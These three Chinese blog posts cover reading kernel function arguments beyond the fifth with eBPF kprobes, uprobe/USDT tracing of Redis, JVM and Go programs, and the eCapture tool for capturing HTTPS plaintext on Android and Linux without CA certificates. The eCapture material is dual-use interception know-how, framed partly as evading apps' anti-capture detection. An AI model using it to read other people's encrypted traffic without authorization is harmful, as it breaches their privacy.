实战eBPF kprobe函数插桩 本文内容,如非特殊说明,均基于 4.18 内核,x86-64 CPU 架构。 插桩的程序类型选择 说起 eBPF 大家都不陌生,就内核而言,hook 会尽可能选在 tracepoint,如果没有 tracepoint,会考虑使用 kprobe。 tracepoint 的范围有限,而内核函数又太多,基于各种需求场景,kprobe 的出场机会较多;但需要注意的,并不是所有的内核函数都可以选做 hook 点,inline 函数无法被 hook,static 函数也有可能被优化掉;如果想知道究竟有哪些函数可以选做 hook 点,在 Linux 机器上,可以通过less /proc/kallsyms查看。 使用 eBPF 时,内核代码 kprobe 的书写范例如下: SEC("kprobe/vfs_write") int kprobe_vfs_write(struct pt_regs *regs) { struct file *file file = (struct file *)PT_REGS_PARM1(regs); // ... } 其中 pt_regs 的结构体如下: struct pt_regs { /* * C ABI says these regs are callee-preserved. They aren't saved on kernel entry * unless syscall needs a complete, fully filled "struct pt_regs". */ unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long bp; unsigned long bx; /* These regs are callee-clobbered. Always saved on kernel entry. */ unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long ax; unsigned long cx; unsigned long dx; unsigned long si; unsigned long di; /* * On syscall entry, this is syscall#. On CPU exception, this is error code. * On hw interrupt, it's IRQ number: */ unsigned long orig_ax; /* Return frame for iretq */ unsigned long ip; unsigned long cs; unsigned long flags; unsigned long sp; unsigned long ss; /* top of stack page */ }; 通常来说,我们要获取的参数,均可通过诸如 PT_REGS_PARM1 这样的宏来拿到,宏定义如下: #define PT_REGS_PARM1(x) ((x)->di) #define PT_REGS_PARM2(x) ((x)->si) #define PT_REGS_PARM3(x) ((x)->dx) #define PT_REGS_PARM4(x) ((x)->cx) #define PT_REGS_PARM5(x) ((x)->r8) 可以看到,上述的宏只能获取 5 个参数;但是在最近的一个项目中,就遇到了如何获取超过 5 个参数的难题,这也是本文的由来,如果你也有类似的困惑,本文也许是为你准备的。 如何获取插桩函数中第 6 个参数 上述的 5 个宏已经可以覆盖大多数的获取小于 5 个参数的需求,不知道大家有没有想过,使用 eBPF 时如果获取的参数个数大于 5 个怎么办呢? 如下的内核函数__get_user_pages(幸运的是,该 static 函数并未被优化掉): static long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm, unsigned long start, unsigned long nr_pages, unsigned int gup_flags, struct page **pages, struct vm_area_struct **vmas, int *nonblocking) 在希望对这个函数进行 hook 的时候犯了难,该函数总共有 8 个参数,如果想拿到最后 3 个参数,该如何操作呢? 且看 BCC 是如何操作的。 BCC 代码中明确表明:只支持寄存器参数。那什么是寄存器参数呢?其实就是内核函数调用约定中的前 6 个参数要通过寄存器传递,只支持这前六个寄存器参数。 constexpr int MAX_CALLING_CONV_REGS = 6; const char *calling_conv_regs_x86[] = { "di", "si", "dx", "cx", "r8", "r9" }; bool BTypeVisitor::VisitFunctionDecl(FunctionDecl *D) { if (D->param_size() > MAX_CALLING_CONV_REGS + 1) { error(GET_BEGINLOC(D->getParamDecl(MAX_CALLING_CONV_REGS + 1)), "too many arguments, bcc only supports in-register parameters"); return false; } } BCC 中使用如下的代码对用户写的BPF text进行rewrite,覆盖的参数刚好是前 6 个参数,分别保存于di, si, dx, cx, r8, r9寄存器: const char *calling_conv_regs_x86[] = { "di", "si", "dx", "cx", "r8", "r9" }; void BTypeVisitor::genParamDirectAssign(FunctionDecl *D, string& preamble, const char **calling_conv_regs) { for (size_t idx = 0; idx < fn_args_.size(); idx++) { ParmVarDecl *arg = fn_args_[idx]; if (idx >= 1) { // Move the args into a preamble section where the same params are // declared and initialized from pt_regs. // Todo: this init should be done only when the program requests it. string text = rewriter_.getRewrittenText(expansionRange(arg->getSourceRange())); arg->addAttr(UnavailableAttr::CreateImplicit(C, "ptregs")); size_t d = idx - 1; const char *reg = calling_conv_regs[d]; preamble += " " + text + " = (" + arg->getType().getAsString() + ")" + fn_args_[0]->getName().str() + "->" + string(reg) + ";"; } } } 看到这里,大家应该明白,之所以能使用 BCC 提供的如此简便的 python 接口(内核函数前面加上前缀 kprobe__,第一个参数永远是struct pt_regs *,然后需要使用几个内核参数就填写几个)来做一些监控工作,是因为 BCC 在幕后做了大量的 rewirte 工作,respect! int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...] } 之前总是由于 eBPF 给的限制(按照 eBPF 的 calling convention,只有 5 个参数可以传递),以为更多的参数是无法获取的。实际上可以回忆下,实际上按照 amd64 的调用约定,最多是可以通过寄存器传递 6 个参数的。 这么看下来,获取第 6 个参数的方案其实也是很简单,手动添加如下的宏即可: #define PT_REGS_PARM6(x) ((x)->r9) 插桩函数超过 6 个参数怎么办 amd64 的调用约定同样规定了,超过 6 个的参数,都会在栈上传递,具体可以参考regs_get_kernel_argument 那么如果参数超过 6 个,处理方案呼之欲出:从栈上获取。 regs_get_kernel_argument该函数在新版本的内核中才有,实现如下: static inline unsigned long regs_get_kernel_argument(struct pt_regs *regs, unsigned int n) { static const unsigned int argument_offs[] = { #ifdef __i386__ offsetof(struct pt_regs, ax), offsetof(struct pt_regs, dx), offsetof(struct pt_regs, cx), #define NR_REG_ARGUMENTS 3 #else offsetof(struct pt_regs, di), offsetof(struct pt_regs, si), offsetof(struct pt_regs, dx), offsetof(struct pt_regs, cx), offsetof(struct pt_regs, r8), offsetof(struct pt_regs, r9), #define NR_REG_ARGUMENTS 6 #endif }; if (n >= NR_REG_ARGUMENTS) { n -= NR_REG_ARGUMENTS - 1; return regs_get_kernel_stack_nth(regs, n); } else return regs_get_register(regs, argument_offs[n]); } 从上述的代码可以看到,常用的前 6 个参数,确实是在寄存器中获取,分别是di, si, dx, cx, r8, r9,这也印证了我们之前的想法,且和 BCC 中的行为是一致的。 从regs_get_kernel_argument中也可以看到,从第 7 个参数开始,便开始从栈上获取了,关键函数为:regs_get_kernel_stack_nth,这个函数在 4.18 内核中也有,如下: static inline unsigned long regs_get_kernel_stack_nth(struct pt_regs *regs, unsigned int n) { unsigned long *addr = (unsigned long *)kernel_stack_pointer(regs); addr += n; if (regs_within_kernel_stack(regs, (unsigned long)addr)) return *addr; else return 0; } // 等价于bpf提供的帮助宏 #define PT_REGS_SP(x) ((x)->sp) static inline unsigned long kernel_stack_pointer(struct pt_regs *regs) { return regs->sp; } regs_get_kernel_stack_nth是标准的栈上操作获取,只不过内核提供了一些地址合法性的检查,不考虑这些的话,在 eBPF 中其实可以一步到位;使用如下函数,便能返回栈上的第 n 个参数(从 1 开始)。 static __always_inline unsigned long regs_get_kernel_stack_nth(struct pt_regs *regs, unsigned int n) { unsigned long *addr; unsigned long val; addr = (unsigned long *)PT_REGS_SP(x) + n; if (addr) { bpf_probe_read(&val, sizeof(val), addr); return val; } return 0; } 捎带提一句,在 amd64 中,eBPF calling ABI 使用了 R1-R5 来传递参数,且做了如下的寄存器映射约定,方便 jit 转换为 native code,提高效率。 R0 – rax return value from function R1 – rdi 1st argument R2 – rsi 2nd argument R3 – rdx 3rd argument R4 – rcx 4th argument R5 – r8 5th argument R6 – rbx callee saved R7 - r13 callee saved R8 - r14 callee saved R9 - r15 callee saved R10 – rbp frame pointer 而 R0 - R10,是 bpf 虚拟机的内部的特殊标识符(函数调用等地方使用),如果 jit 可用,bpf code 会被翻译为native code。 Linux Amd64 调用约定 demo 验证 那 Amd64 的 ABI 是如何操作的呢?可以使用如下的代码进行验证: # cat myfunc.c int utilfunc(int a, int b, int c) { int xx = a + 2; int yy = b + 3; int zz = c + 4; int sum = xx + yy + zz; return xx * yy * zz + sum; } int myfunc(int a, int b, int c, int d, int e, int f, int g, int h) { int xx = (a + b) * c * d * e * (f + (g * h)); int zz = utilfunc(xx, 2, xx % 2); return zz + 20; } int main() { myfunc(1, 2, 3, 4, 5, 6, 7, 8); return 0; } gcc -c -g myfunc.c进行编译汇编得到 myfunc.o eBPF 字节码反汇编 objdump -S myfunc.o反汇编,查看调用约定是不是和我们从教科书上看到的一致 先看 main 函数,可以简单地得出如下结论: 超过 6 个参数的函数调用,需要用到栈传递 前 6 个参数,分别使用 di、si、dx、cx、r8、r9 使用栈传递的参数,是从右向左压栈,此例中先压入 8,再压入 7 00000000000000c4 <main>: int main() { c4: f3 0f 1e fa endbr64 c8: 55 push %rbp c9: 48 89 e5 mov %rsp,%rbp myfunc(1, 2, 3, 4, 5, 6, 7, 8); cc: 6a 08 push $0x8 #栈上传递参数 ce: 6a 07 push $0x7 #栈上传递参数 d0: 41 b9 06 00 00 00 mov $0x6,%r9d #如下是寄存器传递参数 d6: 41 b8 05 00 00 00 mov $0x5,%r8d dc: b9 04 00 00 00 mov $0x4,%ecx e1: ba 03 00 00 00 mov $0x3,%edx e6: be 02 00 00 00 mov $0x2,%esi eb: bf 01 00 00 00 mov $0x1,%edi #第1个参数,寄存器传递 f0: e8 00 00 00 00 call f5 <main+0x31> f5: 48 83 c4 10 add $0x10,%rsp return 0; f9: b8 00 00 00 00 mov $0x0,%eax } fe: c9 leave ff: c3 ret 用户空间程序调用 再看被 main 调用的 myfunc 函数的反汇编: 和 main 函数的调用参数排列一致,参数1-6是寄存器传递,参数7-8是栈上传递 int myfunc(int a, int b, int c, int d, int e, int f, int g, int h) { 50: f3 0f 1e fa endbr64 54: 55 push %rbp 55: 48 89 e5 mov %rsp,%rbp 58: 48 83 ec 28 sub $0x28,%rsp 5c: 89 7d ec mov %edi,-0x14(%rbp) #第1个参数,从edi中复制到栈上 5f: 89 75 e8 mov %esi,-0x18(%rbp) 62: 89 55 e4 mov %edx,-0x1c(%rbp) 65: 89 4d e0 mov %ecx,-0x20(%rbp) 68: 44 89 45 dc mov %r8d,-0x24(%rbp) 6c: 44 89 4d d8 mov %r9d,-0x28(%rbp) #第6个参数 int xx = (a + b) * c * d * e * (f + (g * h)); 70: 8b 55 ec mov -0x14(%rbp),%edx 73: 8b 45 e8 mov -0x18(%rbp),%eax 76: 01 d0 add %edx,%eax # a+b 78: 0f af 45 e4 imul -0x1c(%rbp),%eax #(a+b) * c 7c: 0f af 45 e0 imul -0x20(%rbp),%eax #(a+b) * c * d 80: 0f af 45 dc imul -0x24(%rbp),%eax #(a+b) * c * d * e 84: 89 c2 mov %eax,%edx 86: 8b 45 10 mov 0x10(%rbp),%eax #栈上第1个参数 g 89: 0f af 45 18 imul 0x18(%rbp),%eax # g*h 8d: 89 c1 mov %eax,%ecx 8f: 8b 45 d8 mov -0x28(%rbp),%eax # 参数f 92: 01 c8 add %ecx,%eax # (g*h) + f 94: 0f af c2 imul %edx,%eax # ((g*h) + f) * (a+b) * c * d * e 97: 89 45 f8 mov %eax,-0x8(%rbp) 寄存器堆栈状态 main 函数调用 myfunc,做完 prolog 操作后,栈和寄存器的状态如下: 实战 kprobe 获取 6 个以上参数 说了那么多,到底是不是符合预期呢额,尝试使用 BCC 验证下,为了方便验证,换了一个比较容易从用户态验证的 hook 点:inotify_handle_event 如果在 BCC 中使用了超过 6 个的参数,则会报错,比如函数 kprobe__inotify_handle_event 的原型如下: int kprobe__inotify_handle_event(struct pt_regs *ctx, struct fsnotify_group *group, struct inode *inode, u32 mask, const void *data, int data_type, const unsigned char *file_name, u32 cookie, struct fsnotify_iter_info *iter_info) 当在 BCC 中做超过 6 个参数的获取时,得到如下错误: error: too many arguments, bcc only supports in-register parameters 如果只使用前 6 个寄存器的参数,如下代码即可: #!/usr/bin/python from bcc import BPF # load BPF program b = BPF(text=""" #include <uapi/linux/ptrace.h> int kprobe__inotify_handle_event(struct pt_regs *ctx, struct fsnotify_group *group, struct inode *inode, u32 mask, const void *data, int data_type, const unsigned char *file_name) { char comm[128]; int pid = bpf_get_current_pid_tgid() >> 32; bpf_get_current_comm(comm, sizeof(comm)); bpf_trace_printk("pid is:%d, comm is: %s\\n", pid, comm); bpf_trace_printk("file is: %s\\n", file_name); return 0; } """) b.trace_print() 但是我们可以使用如下的方式,拿到剩下的参数(以 cookie 为例): unsigned long cookie; bpf_probe_read(&cookie, 8, (unsigned long*)PT_REGS_SP(ctx) + 1); 完整代码如下: #!/usr/bin/python from bcc import BPF # load BPF program b = BPF(text=""" #include <uapi/linux/ptrace.h> int kprobe__inotify_handle_event(struct pt_regs *ctx, struct fsnotify_group *group, struct inode *inode, u32 mask, const void *data, int data_type, const unsigned char *file_name) { char comm[128]; unsigned long cookie; int pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read(&cookie, 8, (unsigned long*)PT_REGS_SP(ctx) + 1); bpf_get_current_comm(comm, sizeof(comm)); bpf_trace_printk("pid is:%d, comm is: %s\\n", pid, comm); bpf_trace_printk("cookie is %d, file is: %s\\n", cookie, file_name); return 0; } """) b.trace_print() shell 1 运行 BCC 代码 ./get-stack-arg.py shell 2 使用 inotify-tools 验证 [root@rmed ~]# inotifywait -m ./ shell 3 做如下的操作 [root@rmed ~]# mv testFileA testFileB shell 1 如下输出 shell 2 如下输出 为了保持严谨性,可以使用https://man7.org/linux/man-pages/man7/inotify.7.html 中的代码进行验证, 主要是做了如下改动,增加对IN_MOVED_FROM | IN_MOVED_TO的监控: diff --git a/inotify.c b/inotify.c index 08fa55a..7116a9a 100644 --- a/inotify.c +++ b/inotify.c @@ -61,6 +61,10 @@ if (event->mask & IN_CLOSE_WRITE) printf("IN_CLOSE_WRITE: "); + if (event->mask & IN_MOVED_FROM) + printf("IN_MOVED_FROM: "); + if (event->mask & IN_MOVED_TO) + printf("IN_MOVED_TO: "); /* Print the name of the watched directory. */ for (int i = 1; i < argc; ++i) { @@ -75,6 +79,8 @@ if (event->len) printf("%s", event->name); + if (event->cookie) + printf("cookie: %d", event->cookie); /* Print type of filesystem object. */ if (event->mask & IN_ISDIR) @@ -123,7 +129,7 @@ for (i = 1; i < argc; i++) { wd[i] = inotify_add_watch(fd, argv[i], - IN_OPEN | IN_CLOSE); + IN_OPEN | IN_CLOSE | IN_MOVED_FROM | IN_MOVED_TO); if (wd[i] == -1) { fprintf(stderr, "Cannot watch '%s': %s\n", argv[i], strerror(errno)); @@ -182,3 +188,4 @@ 同样的,使用 BCC 和自己编译的 inotify 工具验证。 BCC 输出: inotify 输出: 输出符合预期,剩下的第 8 个参数,大家可自行修改代码验证。 祝大家玩得开心。 参考文献: https://eyakubovich.github.io/2022-04-19-ebpf-kprobe-params/ https://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64 https://man7.org/linux/man-pages/man7/inotify.7.html https://github.com/iovisor/bcc/blob/master/src/cc/frontends/clang/b_frontend_action.cc https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/ptrace.h#L346 2022-11-21 0 0
如何使用eBPF观测用户空间应用程序 译者注 近来这一年,很多刚接触eBPF的朋友会问我,eCapture的原理是什么,为什么区分OpenSSL、Gnutls、Nspr等类库实现?为什么要设定OpenSSL类库地址?为什么C、JAVA、Go实现的https通讯程序,在eCapture上实现却不一样。对于这些问题,我觉得核心问题是大家对「eBPF实现用户空间的行为跟踪」原理不了解,一直想写一篇文章介绍这个知识点,但总是太忙,没时间。这几天看到外网一篇简单的介绍,文章名是How to Instrument UserLand Apps with eBPF,我在这里翻译、调整一下,分享给大家。 前言 eBPF彻底改变了Linux内核中的可观察性。在之前的博客文章中,我介绍了eBPF生态系统的基本构建,揭开了XDP的面纱,并展示了它与eBPF基础设施如何紧密合作,以便在网络堆栈中引入快速处理的数据路径。 然而,eBPF并不是kernel-space内核空间跟踪所独有的。如果我们能够检测在生产环境中运行的应用程序,同时享受eBPF驱动的跟踪的好处,那不是很赞吗? 这就是eBPF uprobe的价值所在。可以直白地把它们看成附加到用户空间的跟踪点,跟内核符号的kprobe类似。 许多语言的运行时、数据库系统以及其他软件堆栈都包含可供BCC工具使用的钩子。具体地说,ustat工具会收集有价值的事件,例如垃圾回收事件、对象创建统计信息、方法调用等等。 但是“,很多官方语言运行时版本,都不附带对DTrace支持,比如Node.js和Python等,这意味着您必须从源代码构建时,就设定好参数。也就是说,编译python这个解释语言时,就需要在参数中指定。将--with -dtrace标志传递给编译器。当然,这不是必要条件。对于ELF文件,只要符号表可用,就可以对它Section段中的任何符号进行应用动态跟踪。对Go或Rust stdlib的函数调用是通过这种方式完成的。 也就是说,对于eCapture来说,哪怕是TLS类库是静态编译的或者没有符号表的,也是可以通过自行确定Offset的方式,来实现对指定偏移地址进行动态跟踪。在eHIDS-Agent也有过一个例子,user/probe_ujava_rasp.go的92行: /* openjdk version "1.8.0_292" OpenJDK Runtime Environment (build 1.8.0_292-8u292-b10-0ubuntu1-b10) OpenJDK 64-Bit Server VM (build 25.292-b10, mixed mode) */ //ex, err := link.OpenExecutable("/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/libjava.so") // sub_19C30 == JDK_execvpe(p->mode, p->argv[0], p->argv, p->envv); // md5sum : 38590d0382d776234201996e99487110 /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/libjava.so Probes: []*manager.Probe{ { Section: "uprobe/JDK_execvpe", EbpfFuncName: "java_JDK_execvpe", AttachToFuncName: "JDK_execvpe", UprobeOffset: 0x19C30, BinaryPath: "/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/amd64/libjava.so", }, } 对于相应JVM的libjava.so中,符号表是少了JDK_execvpe这个函数。但是,依旧可以通过IDA pro等工具,对so文件进行静态分析,定位到JDK_execvpe的偏移地址是0x19C30,从而使用eBPF uprobe的HOOK方式完成HOOK。 其实,在eBPF的加载器类库中,不管是C的libbbpf还是Go的cilium/ebpf,都会自行读取uprobe的二进制ELF文件,自行读取符号表,进行被HOOK函数的偏移地址定位,最终依旧使用偏移地址作为HOOK参数。 用于检测应用程序的eBPF技术 有多种方法可以跟踪用户空间进程: 静态声明的USDT 动态声明USDT 使用uprobe进行动态跟踪 静态声明USDT USDT(Userland Statically Defined Tracing)体现了直接在用户代码中嵌入探针的想法。该技术的起源可以追溯到Solaris/BSD DTrace时代,包括使用DTRACE_PROBE()宏来声明策略代码位置的跟踪点。与普通符号不同,USDT钩子可以保证在代码被重构的情况下保持稳定。下图描述了在用户代码中声明USDT跟踪点,以及其在内核中执行的整个过程。 开发人员将首先通过DTRACE_PROBE和DTRACE_PROBE1宏来植入跟踪点,用来圈定感兴趣的代码块。这两个宏都接受几个强制性参数,例如provider/probe的名称,然后是你想从追踪点了解的任何值。编译器会在目标二进制文件的ELF部分中压制USDT追踪点。同时,编译器和追踪工具之间有个契约规定,也就是USDT的元数据所在的.note.stapstd段必须存在。 USDT跟踪工具会对ELF部分进行自检,并在跟踪点得位置放置一个断点,该断点将转换为int 3中断。每当在跟踪点的标记处执行控制流时,都会触发中断处理程序,并在内核中调用与uprobe关联的程序来处理事件并将它们发送到用户空间,执行相应的数据聚合等处理。 动态声明USDT 由于USDT被推入静态生成的ELF部分,对于在解释型语言或基于JIT的语言上运行的软件来说,它违背了声明USDT的目的。幸运的是,可以通过libstapsdt在运行时定义跟踪点。它生成一个带有 USDT 信息的小型共享对象,该对象映射到进程的地址空间,因此跟踪工具可以附加到期望的目标跟踪点。libstapsdt的绑定在大部分语言中都有。可以阅读这个示例,来了解如何在Node.js中安装 USDT 探针。 使用 uprobes 进行动态跟踪 这种类型的跟踪机制除了目标程序的符号表是可访问以外,不需要何额外功能。这是最通用、最强大的插桩方法,因为它允许在任意指令上注入断点,甚至无需重新启动目标进程。 跟踪示例 在简单的理论介绍之后,让我们看看一些具体的例子,看看如何针对不同的语言的应用程序进行插桩。 C语言程序 Redis 是用 C 语言实现的热门KV对数据结构服务器。查看一下 Redis 符号表会发现大量函数可以通过 uprobes 捕获。 $ objdump -tT /usr/bin/redis-server … 000000000004c160 g DF .text 00000000000000cc Base addReplyDouble 0000000000090940 g DF .text 00000000000000b0 Base sha1hex 00000000000586e0 g DF .text 000000000000007c Base replicationSetMaster 00000000001b39e0 g DO .data 0000000000000030 Base dbDictType 00000000000ace20 g DF .text 0000000000000030 Base RM_DictGetC 0000000000041bc0 g DF .text 0000000000000073 Base sdsull2str 00000000000bba00 g DF .text 0000000000000871 Base raxSeek 00000000000ac8c0 g DF .text 000000000000000c Base RM_ThreadSafeContextUnlock 00000000000e3900 g DF .text 0000000000000059 Base mp_encode_lua_string 00000000001cef60 g DO .bss 0000000000000438 Base rdbstate 0000000000047110 g DF .text 00000000000000b5 Base zipSaveInteger 000000000009f5a0 g DF .text 0000000000000055 Base addReplyDictOfRedisInstances 0000000000069200 g DF .text 000000000000004a Base zzlDelete 0000000000041e90 g DF .text 00000000000008ba Base sdscatfmt 000000000009ac40 g DF .text 000000000000003a Base sentinelLinkEstablishedCallback 00000000000619d0 g DF .text 0000000000000045 Base psetexCommand 00000000000d92f0 g DF .text 00000000000000fc Base luaL_argerror 00000000000bc360 g DF .text 0000000000000328 Base raxRandomWalk 0000000000096a00 g DF .text 00000000000000c3 Base rioInitWithFdset 000000000003d160 g DF .text 0000000000000882 Base serverCron 0000000000032907 g DF .text 0000000000000000 Base je_prof_thread_name_set 0000000000043960 g DF .text 0000000000000031 Base zfree 00000000000a2a40 g DF .text 00000000000001ab Base sentinelFailoverDetectEnd 00000000001b8500 g DO .data 0000000000000028 Base je_percpu_arena_mode_names 00000000000b5f90 g DF .text 0000000000000018 Base geohashEstimateStepsByRadius 00000000000d95e0 g DF .text 0000000000000039 Base luaL_checkany 0000000000048850 g DF .text 00000000000002d4 Base createClient ... Redis 内部使用了一个有趣的createStringObject函数来分配robj结构的字符串。Redis 命令是以createStringObject调用名义生成的。我们可以通过挂钩这个函数来监视发送到 Redis 服务器的任何命令。为此,我将使用BCC工具箱中的跟踪工具来演示。 $ /usr/share/bcc/tools/trace '/usr/bin/redis-server:createStringObject "%s" arg1' PID TID COMM FUNC - 8984 8984 redis-server createStringObject b'COMMANDrn' 8984 8984 redis-server createStringObject b'setrn$4rnoctirn$4rnfestrn' 8984 8984 redis-server createStringObject b'octirn$4rnfestrn' 8984 8984 redis-server createStringObject b'festrn' 8984 8984 redis-server createStringObject b'getrn$4rnoctirn' 8984 8984 redis-server createStringObject b'octirn' 以上是在Redis CLI客户端执行set octi fest和get octi所产生的输出。 JAVA语言程序 现代的JVM版本带有对USDT的内置支持。所有的探针都是以libjvm共享对象的名义带来的。我们可以在ELF部分挖掘出可用的追踪点。 $ readelf -n /usr/lib/jvm/jdk-11-oracle/lib/server/libjvm.so ... stapsdt 0x00000037 NT_STAPSDT (SystemTap probe descriptors) Provider: hs_private Name: cms__initmark__end Location: 0x0000000000e2420c, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: stapsdt 0x00000037 NT_STAPSDT (SystemTap probe descriptors) Provider: hs_private Name: cms__remark__begin Location: 0x0000000000e24334, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: stapsdt 0x00000035 NT_STAPSDT (SystemTap probe descriptors) Provider: hs_private Name: cms__remark__end Location: 0x0000000000e24418, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: stapsdt 0x0000002f NT_STAPSDT (SystemTap probe descriptors) Provider: hotspot Name: gc__begin Location: 0x0000000000e2b262, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: 1@$1 stapsdt 0x00000029 NT_STAPSDT (SystemTap probe descriptors) Provider: hotspot Name: gc__end Location: 0x0000000000e2b31a, Base: 0x0000000000f725b4, Semaphore: 0x0000000000000000 Arguments: ... 要捕获所有class load类加载事件,我们可以使用以下命令: $ /usr/share/bcc/tools/trace 'u:/usr/lib/jvm/jdk-11-oracle/lib/server/libjvm.so:class__loaded "%s", arg1' 同样,我们可以观察线程创建事件: $ /usr/share/bcc/tools/trace 'u:/usr/lib/jvm/jdk-11-oracle/lib/server/libjvm.so:thread__start "%s", arg1' 结果输出 PID TID COMM FUNC 27390 27398 java thread__start b'Reference Handler' 27390 27399 java thread__start b'Finalizer' 27390 27400 java thread__start b'Signal Dispatcher' 27390 27401 java thread__start b'C2 CompilerThread0' 27390 27402 java thread__start b'C1 CompilerThread0' 27390 27403 java thread__start b'Sweeper thread' 27390 27404 java thread__start b'Service Thread' 当扩展探针启用时(即-XX:+ExtendedDTraceProbes属性),uflow 工具能够实时跟踪并绘制所有方法的执行过程。 $ /usr/share/bcc/tools/lib/uflow -l java 27965 Tracing method calls in java process 27965... Ctrl-C to quit. CPU PID TID TIME(us) METHOD 5 27965 27991 0.736 <- jdk/internal/misc/Unsafe.park 5 27965 27991 0.736 -> java/util/concurrent/locks/LockSupport.setBlocker' 5 27965 27991 0.736 -> jdk/internal/misc/Unsafe.putObject 5 27965 27991 0.736 <- jdk/internal/misc/Unsafe.putObject 5 27965 27991 0.736 <- java/util/concurrent/locks/LockSupport.setBlocker' 5 27965 27991 0.736 <- java/util/concurrent/locks/LockSupport.parkNanos 5 27965 27991 0.736 -> java/util/concurrent/locks/AbstractQueuedSynchronizer$ConditionObject.checkInterruptWhileWaiting 5 27965 27991 0.737 -> java/lang/Thread.interrupted 5 27965 27991 0.737 -> java/lang/Thread.isInterrupted 5 27965 27991 0.737 <- java/lang/Thread.isInterrupted 5 27965 27991 0.737 <- java/lang/Thread.interrupted 5 27965 27991 0.737 <- java/util/concurrent/locks/AbstractQueuedSynchronizer$ConditionObject.checkInterruptWhileWaiting 5 27965 27991 0.737 -> java/lang/System.nanoTime 5 27965 27991 0.737 <- java/lang/System.nanoTime 但是,扩展探针所产生的系统开销,是特别特别大的,所以,它们不适合生产环境,仅用于调试。 Go语言程序 我将用Go语言中的一个例子来完成对追踪技术的演示。 由于Go语言是一种原生编译语言,因此尝试使用trace工具在目标符号上附加uprobe程序。 您可以使用以下简单的代码片段亲自尝试: package main import "fmt" func main() { fmt.Println("Hi") } $ go build -o hi build.go $/usr/share/bcc/tools/trace '/tmp/hi:fmt.Println "%s" arg1' PID TID COMM FUNC - 31545 31545 hi fmt.Println b'xd6x8dK' 我们在参数列中得到不是我们期望的“Hi”字符串,而是一些随机的垃圾数据。这是由于trace不能处理Println变量参数造成的,但也是有关ABI调用约定的错误假设。 与C/C++不同的是,Go语言在堆栈上传递参数,而C/C++更喜欢在普通的寄存器中传递参数。 由于我们不能依靠trace来演示如何插桩Go代码,我将构建一个简单的工具来跟踪所有由http.Get函数发出的HTTP GET请求。 你可以很容易地修改它,来捕获其他HTTP请求。但我只是用这个例子演示, 完整的源代码可以在https://github.com/sematext/uprobe-http-tracer这个repo中找到。 由于我们使用libbcc的Go绑定来完成繁重的工作,所以我不会去讨论关于uprobe attach/load过程的细节。OK,一起来看看真实的uprobe程序。 在所需的包含include之后,我们定义了负责通过偏移处理从堆栈中读取参数的宏。 #define SP_OFFSET(offset) (void *)PT_REGS_SP(ctx) + offset * 8 接下来,我们声明用于封装通过reqs map流传输的事件结构。 这个map是用BPF_PERF_OUTPUT宏定义的。 我们的程序的核心是__uprobe_http_get函数。 每当调用http.Get时,在内核空间中触发这个函数。 我们知道http.Get有一个参数,它表示HTTP请求被发送到的URL。 C和Go语言的另一个区别是它们在内存中如何布局字符串。 C语言的字符串是以 null 结尾的序列,但 Go 将字符串视为包含指向内存缓冲区的指针和字符串长度的两个字值。这说明我们需要对bpf_probe_read进行两次调用,一次用于读取字符串,第二次用于读取其长度。 bpf_probe_read(&url, sizeof(url), SP_OFFSET(1)); bpf_probe_read(&req.len, sizeof(req.len), SP_OFFSET(2)); 触发之后,在用户空间中,URL从slice切片被修剪到其相应的长度。顺便说一下,这工具demo能够通过注入uretprobe来发现每个HTTP GET请求的延迟。然而,事实证明,每次 Go 运行时决定收缩/增长堆栈时,都会产生灾难性的影响,因为uretprobe 会将堆栈上的返回地址修补到在 eBPF VM 的上下文中执行的trampoline函数。在退出uretprobe函数时,指令指针恢复到原始返回地址,这个地址可能指向一个无效地址,从而扰乱堆栈并导致进程崩溃。有一些提议来解决这个问题:Go crash with uretprobe #1320。 结论 在这篇文章中,我们介绍了用于User Space用户空间进程插桩的eBPF特性。 通过几个实际案例,我们已经展示了BCC框架在捕获可观测性信号方面的通用性。 至此,相信你对eBPF uprobe的动态插桩有了一定的了解。也可以阅读eCapture源码,更好的实战。 在golang语言的二进制程序插桩实现中,一定要考虑ABI的规范差异,不过,golang官方也在考虑调整参数传递方式,从堆栈改到寄存器,你可以查看提案:基于寄存器的 Go 调用约定 了解更多详情。 2022-10-27 0 0
eCapture旁观者:Android HTTPS明文抓包,无需CA证书 前言 Android上抓包HTTPS是不是越来越难了?高版本无法添加CA证书,抓包软件依赖太多,VPN模式、或HOOK程序时,会被APP检测到。对抗成本愈加增高。有什么万能的工具吗? 是的,eCapture for Android来了。以后在Android上抓HTTPS通讯包,再也不用安装CA证书了,再也不用下载一堆python依赖环境了,再也不用重打包ssl类库了,再也不用改一堆手机参数了,一键启用,简单明了。 eCapture简介 eCapture是一款无需CA证书即可抓获HTTPS明文的软件。支持pcapng格式,支持Wireshark直接查看。基于eBPF技术,仅需root权限,即可一键抓包。 eCapture中文名旁观者,即 当局者迷,旁观者清。 2022年年初上海疫情期间,笔者开始编写并开源,至今已经半年,GitHub上已经 4200个星星。 eCapture是基于eBPF技术实现的抓包软件,依赖系统内核是否支持eBPF。目前支持在操作系统上,支持了X86_64\ARM64的Linux kernel 4.18以上内核,支持了ARM64 Android(Linux) kernel 5.4以上版本。最新版是在2022年9月9日发布的v0.4.3版本。 演示视频 下载后,一条命令启动,干净利索。 ./ecapture tls -w ecapture.pcapng 先看演示视频,演示环境为Ubuntu 21.04、Android 5.4 (Pixel 6)。 模块功能 eCapture支持tls、bash、mysqld、postgres等模块的信息提取与捕获。本文仅讨论tls这个HTTPS/TLS明文捕获模块。 加密通讯明文捕获--tls模块 tls模块在加密通讯类库上,支持了openssl、gnutls、nspr/nss、boringssl等类库。 但在Android上,pcapng模式只支持boringssl,文本模式则都支持。 如何使用eCapture 环境依赖 操作系统 Linux kernel 4.18以上,Android kernel 5.4以上。 